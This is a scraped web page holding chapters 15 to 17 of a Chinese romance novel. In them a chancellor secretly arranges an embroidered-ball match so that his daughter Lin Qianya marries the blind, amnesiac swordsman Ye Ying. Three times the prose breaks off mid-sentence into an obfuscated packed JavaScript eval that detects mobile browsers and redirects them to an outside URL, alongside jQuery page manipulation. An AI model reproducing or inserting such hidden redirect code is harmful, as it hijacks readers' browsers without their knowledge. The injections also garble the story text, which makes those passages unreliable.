屋里烛火摇曳,映着父女两人沉默的侧影。 一个满心担忧,却不知从何问起。 一个满腹心事,却不知从何说起。 15. 叶某,会去。 林承泽在书房里坐了很久。 面前的茶已经凉透了,他也没动。 他脑子里反反复复都是女儿手腕上那道疤。 割伤。 那么深,那么长。 什么样的意外能留下那样的伤口?什么样的路过的人,值得她用这种方式去救? 林芊雅不肯说,可他太了解自己这个女儿了。 她从小就是这样,心思重,什么事都自己扛。高兴了不笑,难过了不哭,受了委屈也不说,就一个人闷着。小时候他以为她是性子静,后来才慢慢发现,她是怕给人添麻烦,怕他担心。 可越是这样,他越是担心。 那道疤像根刺,扎在他心上。 他忽然想起几个月前,暗卫报来的那个消息——小姐在郊外官道上,救了个穿黄衣、重伤濒死的白发男子,送去了济世堂。后来在云来居,也是这个白发男子,接住了从楼上坠落的女儿。 再后来……坠崖那次。 林承泽的手指无意识地敲着桌面。 一次是巧合,两次是巧合,三次呢? 他女儿不是那种会随便和人亲近的性子,更别说舍命相救了。能让雅儿做到这一步的,绝不会只是个“路过的人”。 他心里忽然冒出一个念头。 这个念头让他坐不住了。 “来人。” 声音不高,守在门外的暗卫立刻闪身进来,单膝跪地:“相爷。” 林承泽看着他,沉默了片刻,才缓缓开口:“去查。查清楚小姐坠崖前后所有的事。那个和她一起在山涧里的人是谁,怎么遇上的,后来怎么样了。一点细节都不要漏。” 暗卫应了一声,没多问,起身退了出去。 林承泽靠在椅背上,闭上了眼。 他知道这样做不对。女儿不想说,他就不该去查。可他忍不住。 他得知道,到底是谁,在他不在的时候,闯进了女儿的生活,还让她留下了那么一道疤。 暗卫办事很快。 第二天傍晚,一份详细的密报就摆在了林承泽的书案上。 他拆开看了。 从护国寺那封假信开始,到马车失控坠崖,再到那个白发剑客——叶英,如何斩断缰绳、与她一同坠落,如何在溶洞里相依为命三天三夜…… 一字一句,清清楚楚。 林承泽看得很慢。 最后,是那句“先救叶公子”。 林承泽放下密报,手撑在额头上,很久没动。 过了很久,他才长长地、沉沉地叹了口气。 罢了。 时也,命也。 他还能说什么? 女儿为了救那个人,连命都可以不要。那个人为了救女儿,也差点把命搭进去。这样的羁绊,已经不是一句“恩情”能说清的了。 林承泽睁开眼,看着跳跃的烛火,眼神慢慢沉了下来。 朝局复杂,刘家刚倒,南安王府还在暗处盯着,陛下那边态度暧昧。他现在不能为了这件事大动干戈,更不能直接去报复谁——那只会把女儿推向更危险的境地。 眼下最紧要的,不是追究过去,而是安排好未来。 女儿的名声已经毁了,外面传得那么难听,现在满京城都知道她“和陌生男子独处三天三夜”,那些虎视眈眈的人,指不定什么时候就会扑上来。 她需要一个归宿。 一个绝对可靠、能护住她、也能让她安心的归宿。 林承泽的脑海里,缓缓浮现出那个白发剑客的身影。 武功高强,能在千钧一发之际救下雅儿;品性端正,两次出手都不求回报;更重要的是,雅儿对他…… 林承泽太了解自己的女儿了。 她从小就没对谁动过心。南安王世子萧琰,那是父母之命,她从来没说过喜欢,退婚时也没见她有多难过。可对这个叶英,她瞒着,藏着,连提都不肯提,手腕上那道疤却替他挡了所有追问。 这不是喜欢是什么? 只是她不敢说。 她太清醒了,清醒到知道自己身陷漩涡,清醒到不敢把任何人扯进来,尤其是……她在意的人。 林承泽的心又揪了一下。 他的雅儿,什么时候才能为自己活一次? 他站起身,在书房里慢慢踱步。 思绪越来越清晰。 既然女儿不敢,那就由他来推一把。 第二天下午,林承泽去了女儿院里。 林芊雅正靠在窗边看书,见他进来,放下书,叫了声“爹”。 林承泽在她对面坐下,打量了她一会儿。脸色还是苍白,但精神似乎好了一些,手腕上的纱布换过了,新的,白白净净的,看不见底下那道疤。 “手腕还疼吗?”他问。 林芊雅摇摇头:“好多了。” 林承泽点点头,没再追问伤口的事。他沉默了片刻,才缓缓开口,语气很平静,像在说一件再平常不过的事: “雅儿,爹想好了。你的婚事,不能再拖了。” 林芊雅的手指几不可查地蜷缩了一下。 她抬起眼,看着父亲,没说话。 林承泽继续说:“现在外面传得那么难听,爹虽然不看重名节知道清者自清的道理,可那些豺狼虎豹,不会放过这个机会。爹得给你找个靠得住的人,越快越好。” 林芊雅垂下眼,盯着自己的手指。 “爹有合适的人选了?”她问,声音很轻。 “有。”林承泽说,“爹的门生里,有几个今年参加科举的,人品才学都不错。等放榜了,爹挑一个家世清白、性子稳重的,给你定下来。” 他顿了顿,补充道:“正好,三年一度的科举就在下个月。到时候,咱们来个‘榜下捉婿’,挑个新科进士,风风光光地把你嫁出去。外头那些流言,也就没人敢再提了。” 他说得很自然,像早就计划好了一样。 林芊雅听着,心里却一片冰凉。 榜下捉婿。 挑个新科进士。 听起来多好啊,风光,体面,还能堵住那些人的嘴。 可她心里那点微弱的、连自己都不敢承认的期盼,就这么被父亲轻描淡写地掐灭了。 她沉默了很久,才轻声开口,声音平静得没有一丝波澜: “那就……听爹的安排吧。” 林承泽看着她低垂的侧脸,看着她紧紧攥着衣角的手指,心里那阵疼又涌了上来。 他的雅儿,连争都不争一下。 是认命了,还是……根本就不敢有期盼? 他深吸一口气,压下心里的情绪,语气依旧平和: “好,爹会安排好。你这段时间,安心养伤,别多想。” 林芊雅点点头,没再说话。 林承泽又坐了一会儿,嘱咐了几句注意身体的话,便起身离开了。 走出院子时,他回头看了一眼。 女儿还坐在窗边,侧影单薄得像纸,一动不动。 林承泽收回目光,快步走回书房。 一进门,他就叫来了春华。 春华跪在地上,眼睛红红的,显然已经哭过了。她知道老爷要谈小姐的婚事,心里替小姐难受,却又不敢多嘴。 林承泽看着她,沉默了片刻,才缓缓开口: “春华,你跟了小姐这么多年,她待你如何,你心里清楚。” 春华用力点头:“小姐待奴婢恩重如山。” “那好,”林承泽的声音沉了下来,“现在有件事,只有你能办。” 春华抬起头,看着老爷。 林承泽俯下身,压低声音,对她说了几句话。 春华听着,眼睛越睁越大,到最后,嘴唇都在发抖。 “老、老爷……”她声音发颤,“这……这能行吗?小姐她……她会不会生气?” “她不会知道。”林承泽说,语气很坚定,“这件事,只有你知,我知。办成了,小姐后半生才有依靠;办不成……” 他顿了顿,没再说下去。 春华咬着嘴唇,脑子里乱糟糟的。 她想起小姐手腕上那道疤,想起小姐夜里睡不着时,望着窗外发呆的样子,想起她提起“叶公子”时,那瞬间慌乱又强装镇定的眼神…… 她知道小姐喜欢叶公子。 可她更知道,小姐不敢说,也不会说。 如果……如果真按老爷说的办,小姐会不会……有那么一点点高兴? 春华深吸一口气,用力磕了个头: “奴婢……奴婢明白了。奴婢一定办好。” 两天后,春华找了个借口出府,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224180|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了济世堂。 她打听到叶英还在京城,住在城南一家不起眼的小客栈里。她一路找过去,在客栈后院的一棵老槐树下,找到了正在树下静坐的叶英。 他穿着一身素色布衣,白发用一根简单的木簪束着,闭着眼,像是在调息。 阳光透过枝叶洒在他身上,光落在那张精致却疏冷的脸上,美得像幅画,却又遥远得让人不敢靠近。 春华站在几步外,看着他的侧影,心跳得厉害。 她鼓足勇气,走上前,跪了下来。 叶英似乎察觉到了有人靠近,缓缓睁开眼。那双闭着的眼睛“看”向春华的方向,虽然没有焦距,却带着一种无声的压迫感。 “叶、叶公子……”春华的声音发颤,带着哭腔,“奴婢……奴婢是林小姐身边的丫鬟,春华。” 叶英的眉头几不可查地蹙了一下。 “何事?”他问,声音很平静。 春华跪在地上,眼泪一下子就掉了下来。她用力磕了个头,声音哽咽着,断断续续地把那些憋在心里的话全倒了出来: “叶公子……求您……求您救救我家小姐吧……” “小姐她……她现在名声全毁了……外面传得那么难听,说她和男人在山涧里待了三天三夜,说她不干不净……那些人都等着看她笑话,等着踩她一脚……” “老爷说……说要在科举放榜后,给她找个新科进士定亲……可、可那些人,哪个不是冲着相府的门第来的?哪个会真心待小姐好?小姐身子弱,心思又重,要是嫁错了人……她、她这辈子就完了啊……” 春华哭得上气不接下气,眼泪糊了满脸。 叶英静静听着,脸上没什么表情,只是放在膝上的手,微微收紧了些。 春华抬起头,看着他那张平静得近乎冷漠的脸,心里忽然涌起一股孤注一掷的勇气。她抹了把眼泪,声音嘶哑却清晰: “叶公子……奴婢知道,您救过小姐两次,小姐也救过您……你们之间,有恩情,也有……也有别的。” 她顿了顿,声音低了下去,却字字清晰: “小姐她……她喜欢您。” 叶英的呼吸几不可查地滞了一瞬。 春华没注意到,她继续哭着说: “小姐不敢说,她从来不敢说……她觉得自己是麻烦,怕连累您,所以把您推得远远的……可奴婢知道,她夜里睡不着,看着窗外发呆的时候,想的是谁;她手腕上那道疤,是为了谁留下的……” “叶公子……求求您……求您报答恩情也好,可怜小姐也好……去参加招亲吧……” “老爷说要榜下捉婿,可那都是做给外人看的……小姐真正想嫁的人,是您啊……” “您要是不去……小姐就只能嫁给一个她不喜欢、也不喜欢她的人,在后宅里枯萎一辈子……她那么好的一个人,不该这样啊……” 春华说完,伏在地上,哭得浑身发抖。 院子里静悄悄的,只有风吹过树叶的沙沙声,和她压抑的啜泣声。 叶英坐在那里,很久没动。 他的眼睛望着虚空,却仿佛穿透了眼前的黑暗,看到了那个在溶洞里背着他一步步往前挪的单薄身影,看到了她手腕上那道狰狞的疤,看到了她推开他时,那双平静却掩不住痛楚的眼睛。 她说:远离我吧。 她说:我是个麻烦。 可她的小丫鬟跪在这里,哭得撕心裂肺,说她喜欢他,说她会在后宅枯萎一辈子。 叶英缓缓闭上眼。 脑海里闪过很多画面。还有最后那句轻得几乎听不见的“知道了”。 他知道她身陷麻烦,知道她顾虑重重,知道她不敢靠近。 可他也知道,他不能就这样转身离开。 那不是他的道。 剑者的道,是直面,是守护,不是逃避。 许久,叶英睁开眼。 他站起身,走到春华面前弯腰伸手,虚扶了一下。 “起来吧。”他说,声音依旧平静,却多了一丝难以察觉的沉。 春华抬起头,泪眼朦胧地看着他。 叶英“看”着她,一字一句,清晰地说道: “告诉林小姐——” 他顿了顿,语气郑重,像在许下一个承诺。 “叶某,会去。” 16. 再见一面 林承泽走后,林芊雅在窗边又坐了许久。 明明书页摊在膝盖上,可她一个字也看不进去。 脑子里反反复复都是父亲那句话——榜下捉婿,挑个新科进士。 听起来倒是多稳妥。 可她知道,那根本不是她要的。 她这辈子,从来也没想过要嫁一个素未谋面、只因中了进士就被“捉”来当夫君的人。那些人图什么?图相府的权势,图父亲的门路,图一个平步青云的捷径。谁又会在意她这个人?谁会在意她手腕上的疤,心里藏的事? 可她能说什么? 说不要? 父亲已经为她操碎了心。刘家的事刚了,朝局未稳,南安王府虎视眈眈,陛下态度暧昧。这种时候,父亲最需要的就是她安稳待嫁,别再惹出任何风波。 她不能再任性了。 林芊雅闭上眼,深深吸了口气。 胸口那股空落落的疼,却怎么也压不下去。 叶英。 她把他推走了,用最决绝的方式。她说远离我,她说我是个麻烦。她以为这样就能断了念想,就能让他安心去找他的来路。 可现在父亲要给她定亲了。 嫁给一个不认识的人,住进陌生的宅院,对着陌生的脸过一辈子。 那叶英呢? 他会不会听说她成亲的消息?会不会以为她真的放下了?会不会……就这样消失在她的生命里,再也不会出现? 林芊雅猛地睁开眼。 不行。 她不能就这样认命。 至少……至少让她再见他一面。不是为了挽回什么,也不是为了诉说心意——那些话,她说不出口,也不敢说。 她只是想,在彻底走进那场身不由己的婚事之前,好好和他道个别。 给那段短暂却刻骨铭心的相遇,画一个句号。 也给自己的心,一个交代。 三天后,黄昏。 城南那座废弃的破庙平日里几乎没人来。 林芊雅站在庙内,身上只穿着一身鲜红的嫁衣。 那是母亲留给她的,料子是最好的云锦,绣着繁复的金线鸾凤,华美异常,本该在她出嫁那日穿。可现在,她提前穿上了,站在这个破败的地方等着一个不该等的人。 春华跟在她身后,眼睛红红的,欲言又止。 “小姐……您真要这样吗?”春华的声音发颤,“这要是被人看见……” “不会有人看见的。”林芊雅说,声音却很平静,“你到外面守着便是。” 春华咬了咬嘴唇,最终还是退了出去。 林芊雅独自站在破庙里,看着门口漏进来的那点昏黄的光。 她不知道自己为什么要穿这身嫁衣。 也许是想让他看见,她真的要嫁人了。也许是想用这刺眼的红,提醒自己也提醒他,从此以后,桥归桥,路归路。 也许……只是想在他记忆里,留下一个完整的、属于“林芊雅”的样子。 哪怕只有一次。 脚步声从外面传来。 很轻,却沉稳,一步一步,踏在碎叶和尘土上。 林芊雅的心猛地提了起来。 她转过身,看向门口。 叶英走了进来。 他还是那身素色布衣,白发束在脑后,额角那点梅花印在昏黄的光线下,红得惊心。那双眼睛“看”向她的方向,没有焦距,却精准地停在了她身上。 林芊雅忽然有些慌。 她下意识想躲,想藏起这身刺眼的红,可脚下像生了根一动也动不了。 叶英在离她几步远的地方停下。 他没说话,只是“看”着她,眉头几不可查地蹙了一下。 空气里弥漫着一种诡异的沉默。 过了很久,叶英才缓缓开口,声音很平静却带着一丝不易察觉的疑惑: “林小姐约叶某来此,是为何事?” 林芊雅深吸一口气,强迫自己镇定下来。 她抬起眼,看着他那张平静得近乎疏冷的脸,一字一句,清晰地说道: “几日后,我就要成亲了。是父亲为我选的人选,据说是个新科举子。” 叶英的呼吸几不可查地滞了一瞬。 林芊雅没停顿,继续说下去,语气平静得像在说别人的事: “今日约你来,是想……道个别。以后,便不宜再见了。” 她说得很慢,每个字都像从喉咙里挤出来的,干涩,却坚决。 叶英站在原地,没说话。 林芊雅看着他,看着他微微蹙起的眉头,看着他抿紧的唇线。两个人便这么相对沉默。 他不说话。 他连问都不问一句。 也是,他凭什么问?她对他来说,不过是个救过他又被他救过的人,一段意外交集的过客。现在她要嫁人了,他该说句恭喜,然后转身离开,继续去找他的来路。 这才是最合理的结局。 林芊雅垂下眼,掩去眼底那点湿意。 她不能再待下去了。 再多待一刻,她怕自己会哭出来,会说出不该说的话。 “叶公子,”她再次开口,声音有些哑,“保重。” 说完,她转身,朝着庙外走去。 她脚步很稳,背也挺得很直,鲜红的嫁衣在拖拽下,到处都是金银玉石发出的脆响。 叶英站在原地,听着她的脚步声一点点远去。 心里那股闷然堵在胸口,压得他几乎喘不过气。 她要成亲了。 三日后。 所以今日约他来,是为了道别,是为了告诉他,从此以后,不必再见。 可为什么? 春华跪在他面前哭诉的那些话,还在耳边回响。她说小姐喜欢他,她说小姐会枯萎,她说求他去参加招亲。 他本来已经决定去了。 哪怕只是为了那份恩情,为了她手腕上那道疤,他也该去。 可现在,她却站在他面前,穿着嫁衣,告诉他她要成亲了。 是春华骗了他? 还是……她心里其实另有其人,一切只是他的错觉? 叶英的指尖微微收紧。 他不懂这些男女之情,也从未想过自己会牵扯其中。可此刻,胸口那股陌生的、沉甸甸的闷痛,却真实得让他无法忽视。 他想叫住她,想问清楚,可喉咙像被什么堵住了,一个字也说不出来。 最终,他只是干涩地吐出四个字: “新婚……大喜。” 声音很低,几乎被风吹散。 林芊雅的脚步顿了顿。 她没有回头,只是极轻地“嗯”了一声,然后继续往前走,消失在了破庙外的暮色里。 叶英独自站在残破的庙中。 夕阳最后一点余晖从屋顶的破洞漏下来照在他身上,把那头白发染成了暗淡的金色。 他“看”着她离开的方向,很久很久,没有动。 心里那片沉沉的疑云,却越积越厚。 林芊雅回到府里,便直接回了自己院子。 春华跟在她身后,看着她沉默地脱下那身嫁衣,换上平常的素色衣裙,动作机械,脸上一点表情都没有。 “小姐……”春华忍不住开口,声音带着哭腔,“您为什么非要把叶公子推远呢……” “春华。”林芊雅打断她,声音很平静,“去备水,我要沐浴。” 春华咬着嘴唇,把后面的话咽了回去,转身出去了。 林芊雅坐在妆台前,看着镜子里那张苍白的脸。 眼睛有点红,但没哭。 她不能哭。 哭有什么用?父亲已经决定了,她也答应了。几日后,不管来的是谁,她都得穿上那身嫁衣,走出这个家门。 至于叶英…… 她闭上眼。 就当是一场梦吧。 现在,梦该醒了。 叶英回到客栈,在房里坐了整整一夜。 他本来已经决定不去参加那个招亲了。 既然她要嫁人,既然她亲口说了不必再见,他再出现也只会给她添麻烦。 可第二天一早,春华又来了。 小丫鬟眼睛肿得像桃子,显然是哭了一夜。她跪在叶英面前,声音嘶哑: “叶公子……求您……求您一定要去。” 叶英眉头紧蹙:“可林小姐昨日说,她几日后就要成亲了,是父亲安排的人选。” “这件事我不能说,但其中是有内情的!”春华急得直掉眼泪,“老爷根本没定下亲事!招亲是真的,榜下捉婿也是真的,可小姐要嫁的人……必须是您啊!小姐她根本什么都不知道!” 叶英沉默了。 春华继续说:“小姐不敢说,她怕连累您,怕您不愿意,所以才那样骗您……可奴婢知道,小姐心里有多难受。叶公子,您就当……就当是报答小姐的恩情,去一趟,好吗?” 她抬起头,泪眼朦胧地看着叶英: “您只需去了,抢下绣球,一切……一切就都明白了。” 科举放榜那日,京城热闹得像煮沸的水。 新科进士们披红挂彩,骑马游街,两旁挤满了看热闹的百姓,欢呼声、议论声、小贩的叫卖声混在一起,喧嚣震天。 相府门前的绣楼早就搭好了。 红绸扎花,彩灯高挂,楼前空地上人山人海,都是来看热闹的。有想碰运气的寒门学子,有纯粹看戏的闲人,也有那些心里打着算盘、想借机攀上相府的人。 南安王世子萧琰也来了。 他坐在不远处茶楼的雅间里,推开窗,正好能看见绣楼全貌。手里端着茶杯,脸上带着惯常的、漫不经心的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224181|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼神却冷冰冰的。 “啧,林相这是真急了啊。”他嗤笑一声,“女儿名声烂透了,赶紧找个接盘的,也不挑拣了,绣楼招亲?可真够丢人的。” 旁边的跟班附和道:“就是,听说那林小姐在山洞里跟野男人待了三天,谁知道还干不干净?也就那些想攀高枝的破落户,才会上赶着去抢。” 萧琰没接话,只是盯着绣楼,眼神阴鸷。 他心里其实有点说不清的烦躁。 当初退婚时,他觉得痛快,只觉得甩掉了一个包袱。可后来听说林芊雅坠崖,听说她和男人独处三天,听说她名声尽毁……他并没有想象中的高兴。 反而有种莫名的、被什么东西膈应了的感觉。 好像……原本属于他的东西,哪怕他不要了,也不该被别人染指。 现在看着这绣楼招亲,看着底下那些跃跃欲试的男人,他心里那股烦躁更重了。 绣楼上,林芊雅穿着一身凤冠霞帔,坐在屏风后。 父亲站在她身边,拍了拍她的手背,声音沉稳: “雅儿,别怕。待会儿,你只需把绣球往后抛,其他的,交给爹。” 林芊雅点了点头,没说话。 她不怕。 心里一片麻木,还有什么好怕的? 反正嫁给谁都是嫁,反正这辈子也就这样了。 她透过屏风的缝隙,看向楼下黑压压的人群。 一张张陌生的脸,或兴奋,或贪婪,或好奇。他们在等,等那个绣球落下,等一个飞黄腾达的机会。 没有人在意她是谁,没有人在意她想什么。 林芊雅缓缓站起身,走到栏杆边。 凤冠很重,压得她脖子发酸。 嫁衣层层叠叠,裹得她几乎喘不过气。她看着红盖头底下隐隐烁烁涌动的人头,忽然有些恍惚。 叶英会在下面吗?应该不会吧。 她昨天说得那么决绝,他应该……不会再来了。 也好。这样最好。 “吉时到——!” 司仪高亢的声音响起,拉回了她的思绪。 林芊雅深吸一口气,闭上眼,握紧了手里的绣球。 然后,用尽全身力气,向后一抛。 鲜红的绣球划过一道弧线,朝着楼下的人群坠去。 “抢啊——!” 底下瞬间炸开了锅。 几十双手同时伸向空中,推搡,争抢,叫骂声惊呼声响成一片。 绣球在无数双手之间弹跳,就是落不到一个人手里。 混乱中,一道素白的身影,悄无声息地出现在人群最前方。 叶英抬起头,“看”向空中那个翻飞的红色绣球。 他没有动,只是静静站着。 周围的人挤成一团,可他周身仿佛有一层无形的屏障,那些推搡争抢的人,在靠近他时,都会不由自主地被一股柔和却坚定的力道推开,却又不至于摔倒。 绣球又一次被抛高,朝着他的方向落下。 叶英伸出了手。动作并不快,甚至有些随意。 可那只骨节分明、修长有力的手,却精准地、稳稳地,接住了那个鲜红的绣球。 喧闹声戛然而止。 所有人都愣住了,齐刷刷看向他。 叶英就站在那里,他一袭素衣,白发如雪,额角那点梅花印在阳光下红得刺眼。微微垂着眼,脸上没什么表情,可通身那股疏冷又端方的气度,却让周围嘈杂的人群不自觉地安静了下来。 就连茶楼上的萧琰,也怔住了。 他盯着楼下那个白发男子,手里的茶杯忘了放下。 那张脸…… 精致得不像真人,肤色冷白,眉眼如画,即便闭着眼,也掩不住那股谪仙般的疏离感。可偏偏,他站得笔直,握着绣球的手稳得像握着一柄剑,姿态从容,仪态端方,没有半点江湖人的粗野,反倒像哪个世家大族精心教养出的公子。 萧琰心里那股烦躁,瞬间变成了尖锐的嫉妒。 他向来以自己的容貌家世为傲,可此刻看着楼下那个白发男子,他也不得不承认——这人长得,确实比他好看。 不止好看。 那种从骨子里透出来的、浑然天成的气度,是他这种靠着锦衣华服和身份堆砌出来的“贵气”,永远学不来的。 “不过就是个江湖武夫。”萧琰咬牙,低声骂了一句,像是在说服自己,“长了张好脸罢了,能有什么出息?” 可他的话,连自己都说服不了。 因为楼下那个白发男子,已经握着绣球,转身,朝着绣楼的方向,一步一步,稳稳地走了过去。 人群自动分开一条路。 所有人都在看他,目光复杂——有惊讶,有羡慕,有嫉妒,也有不解。 一个白发盲眼的江湖人,怎么就……抢到了相府千金的绣球? 17. 原来是故人之子 林承泽站在绣楼二层,看着楼下那片攒动的人头。 外面热闹得很,敲锣打鼓,人声鼎沸。 那里面的人,说不准以后便有一个要管他叫岳父,管他的雅儿叫夫人。 不,或者,只有那个人才是他心目中想要的女婿。 那个叫叶英的白发剑客。 三天前,春华红着眼睛回来跪在地上: “老爷,叶公子……他答应去了。” 那时,他就知道他会来。 叶英那个人,他其实派人查过。 查不到来历,查不到背景,就像凭空冒出来的一样。 唯一知道的是他武功极高,在云来居接住坠楼的雅儿时身法快得惊人。 后来坠崖那次,暗卫回报说,叶英斩断缰绳那一下,又快又准,没有几十年苦功练不出来。 这样的人,本该是江湖上赫赫有名的人物,可偏偏没人认识他。 更奇怪的是,他失忆了。 一个没有过去的人,就像一张白纸。可以画上最美的图画,也可能染上最脏的墨迹。 林承泽不敢赌。 可他没得选。 雅儿的名声已经毁了。 不是被刘家算计的那种毁,是她自己把自己逼到绝路上的毁。刘家倒台前,为了败坏她的名声,放出去的那些话,坠崖、和陌生男子独处三天三夜,现在满京城都在传,传得有鼻子有眼,连细节都编出来了。那些话难听得他都不想复述。 这种情况下,别说正经人家不敢娶,就算有人敢,他也信不过。 谁知道来的会是人是鬼? 倒还不如自己选一个起码应该算是能拿捏得住根底的。 他的雅儿,要嫁人了。 嫁得这样仓促。 一个绣楼招亲,一个抢到绣球的陌生剑客。 可这已经是他能为女儿谋到的,最好的一条路了。 刘家倒了,但恶名留在了雅儿身上。南安王府还在暗处盯着,朝中那些眼红他位置的人,随时可能用更下作的手段把雅儿拖进泥潭。陛下那边态度暧昧,既要用他,又要防他,指不定什么时候就会拿雅儿的婚事做文章。 他等不起,雅儿更等不起。 所以他才用了这招,把选择权看似交给了天意,实则……交给了他早已看中的人。 武功高强,心性沉稳,遇事不乱。最重要的是,雅儿对他……不一样。 林承泽太了解自己的女儿了。 她从小就对人情世故看得透,对谁都保持着恰到好处的距离,客气,但疏离。就连当年和南安王世子定亲,她也没什么特别反应,好像那只是父亲安排的一桩事,与她本人无关。 可对这个叶英,她藏了,瞒了,连提都不肯提,手腕上留了那道疤却替他挡了所有追问。 这不是喜欢是什么? 只是她不敢承认。 她太清醒了,清醒到知道自己身陷漩涡,清醒到不敢把任何在意的人扯进来。 所以她推开他,用最决绝的方式,告诉他远离,告诉他不必再见。 可越是这样,林承泽越是心疼。 他的雅儿,什么时候才能为自己活一次? 所以他推了这一把。 楼下,司仪高亢的喊声响起:“吉时到——!” 林承泽收回思绪,看向屏风后的女儿。 林芊雅穿着一身鲜红的嫁衣,凤冠霞帔,盖着盖头,看不清脸。 可身形站得笔直,像一棵风雪里挺立的小树,明明那么单薄,却倔强地不肯弯下腰。 林承泽看着她,忽然又想起了二十年前自己成亲那天的情形。 ……女儿长得真的很像她娘,那个清秀苍白,眼睛很大外柔内刚,文静的小姑娘。 现在她的女儿穿着嫁衣要嫁给自己的心上人,就像是当年的她穿着嫁衣嫁给他一样…… 他突然想起那些戏文里的话,难怪有故人之姿,原来是故人之子。一别经年再看到当初的人,似乎就完全不一样。 他还记得秀娘,那其他人呢,还有多少人还记得她? 林承泽想到这儿,心里那股无力感又涌了上来。 他做官二十年了。 可到头来,他还是护不住自己的女儿。 “雅儿。” 林承泽走到女儿身边,压低声音。 林芊雅没动,只是极轻地“嗯”了一声。 盖头下,她的呼吸有些急促。 林承泽知道她在紧张,在害怕。那天他说榜下捉婿时,她沉默了很久,最后只说了句“听爹的安排”。语气平静,可眼神里的光,一下子就黯了。 这世道对女子太苛刻。 一步走错,就是万劫不复。雅儿已经走错了一步——不,不是她走错的,是有人推着她往悬崖边上走。现在他得把她拉回来,用最快的速度,最稳妥的方式。 他又何尝不想他的女儿幸福一生? 可这个世道,从来不给他们父女生路。 “待会儿,你只管把绣球往后抛,抛得越远越好。”林承泽说,“其他的,交给爹。” 林芊雅点了点头,手指攥紧了绣球。 林承泽拍了拍她的手背,转身退到暗处。 他看着女儿走到栏杆边,看着那绣球划出一道鲜红的弧线,朝着楼下坠落。看着人群瞬间炸开,几十双手同时伸向空中,推搡,争抢。 然后,他看见叶英动了。 那人只是伸出手,动作随意得像在接一片落叶。可那只手稳得惊人,精准地、牢牢地,抓住了那个鲜红的绣球。 叶英就站在那里,一袭素衣,白发如雪,额角那点梅花印在阳光下红得刺眼。 他微微垂着眼,脸上没什么表情,可通身那股疏冷又端方的气度,让周围嘈杂的人群不自觉地安静了下来。 林承泽看着楼下那个身影,心里那股复杂的情绪又涌了上来。 这人……确实生得好。 不止是脸,是那种从骨子里透出来的气度,清冷,却端正,像一柄收在鞘里的名剑。 可这样的人,怎么会甘心娶他那病弱到极点的女儿?又愿意好好保护她呢? 林承泽不信。 所以他得敲打敲打,得把丑话说在前头。 叶英被相府的人请上来时,林芊雅已经回了自己房间。 她没问接到绣球的是谁,或者说,她不敢问。 林承泽便屏退了左右,只留他与叶英二人。 叶英坐在客座,背脊挺直,神色平静。林承泽看了他一会儿,才缓缓开口,声音里没了朝堂上的圆滑,只剩一个父亲的沉稳。 “叶英。”他叫他的名字,省了虚礼,“细细算来,这反而是我们第一次见面。不过我却是对你久有耳闻了。” 叶英微微欠身:“叶英见过林丞相。” “嗯。”林承泽点点头,单刀直入,“我今日找你来,是想说芊雅的事。” “是。”叶英应道。 书房里安静了片刻。 林承泽打量着眼前这个年轻人。 他生得实在太好了,好到不似凡人。 可偏偏只那双眼睛是闭着的,额角那点梅花印红得妖异,一头白发更是扎眼。这样的人,走在街上,回头率怕是百分之百。 可也正是这样的人,在雅儿最危险的时候,两次救了她。 林承泽心里那杆秤,稍微偏了偏。 “叶公子救过小女两次,一次在茶楼,一次在崖边。”他开口,语气正式起来,“这份恩情,林某铭记于心。按说,公子有何要求,林某都该尽力满足才是。” 他顿了顿,目光锐利地看向叶英: “可今日,林某不是以宰相的身份同公子说话,而是以一个父亲的身份。有些话,必须在你们成亲之前说清楚。” 叶英的眉头几不可查地蹙了一下。 “叶公子,”林承泽的声音沉了下来,带着股当官的不威自怒的气势.“你可知,接下绣球,意味着什么?” 叶英沉默了片刻,才缓缓开口: “意味着……叶某将成为林小姐的夫君。” “是。”林承泽点头,语气却更冷了几分, “可叶公子,你一无家世,二无根基,三无记忆, 连自己从何处来,往何处去都不知晓。 这样的你,要如何做相府的女婿? 要如何承担一个丈夫、甚至一个父亲的责任?” 这话说得很重,可叶英的脸上,却依旧没什么表情。 他只是“看”着林承泽的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224182|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,声音平静地反问: “那林相以为,叶某该如何?” 林承泽盯着他看了很久才缓缓开口,一字一句清晰无比: “叶英,老夫可以不在乎你没有身份,没地位,甚至连记忆都没有,但我要你答应我三件事。” 他停顿了一下,目光如炬,落在叶英脸上。 “第一,你既娶她,便要一生一世护着她。 不管以后你能不能想起来自己是谁,不管遇到什么事,她是你的妻子, 你待她,不能有半分亏欠。” 叶英迎着他目光的方向没有闪避。 “这是自然。”他的回答很简单却极坚定 “好。”林承泽点点头,继续道, 